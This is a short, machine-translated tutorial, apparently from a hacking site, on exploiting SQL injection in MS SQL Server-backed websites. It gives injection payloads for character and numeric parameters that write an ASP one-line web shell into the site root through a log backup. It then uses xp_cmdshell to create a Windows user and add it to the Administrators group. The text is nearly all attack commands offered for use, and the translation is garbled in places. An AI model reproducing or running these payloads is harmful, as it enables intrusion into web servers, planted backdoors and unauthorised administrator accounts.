Steps to manually implement differential backups
Character type:
1. Restore the current library
ALTER DATABASE Current library set recovery full--
2, the construction table cmd
; Create table cmd (a image)--
3, back up the current library to D:CMD1
; Backup log current library to disk = ' d:cmd1 ' with init--
4, insert a sentence code to create the table cmd
; insert into cmd (a) VALUES (' <%%25**ecute (Request ("a"))%%25> ')--
5, backup one sentence code to the site root directory
; Backup log current library to disk = ' d:www_weboct.asp Tutorial '--
6. Complete
Table created;d ROP table--
Digital type
1. Restore the current library
' ALTER DATABASE current library set recovery full--
2. CREATE TABLE cmd
'; Create table cmd (a image)--
3, back up the current library to D:CMD1
'; Backup log current library to disk = ' d:cmd1 ' with init--
4, insert a sentence code to create the table cmd
'; insert into cmd (a) VALUES (' <%%25**ecute (Request ("a"))%%25> ')--
5, backup one sentence code to the site root directory
'; Backup log current library to disk = ' d:www_weboct.asp '--
6. Complete
';d table created by ROP table--
SA Permissions Create administrator user
1. To judge whether there is injection; and 1=1; 1=2
; and user_name () = ' dbo ' Determines whether the current system's connected user is an SA
2, add the administrator of the system
; Exec master.dbo.xp_cmdshell ' net user wk Wk90/add ';--
; exec master.dbo.xp_cmdshell ' net localgroup Administrators Wk/add ';--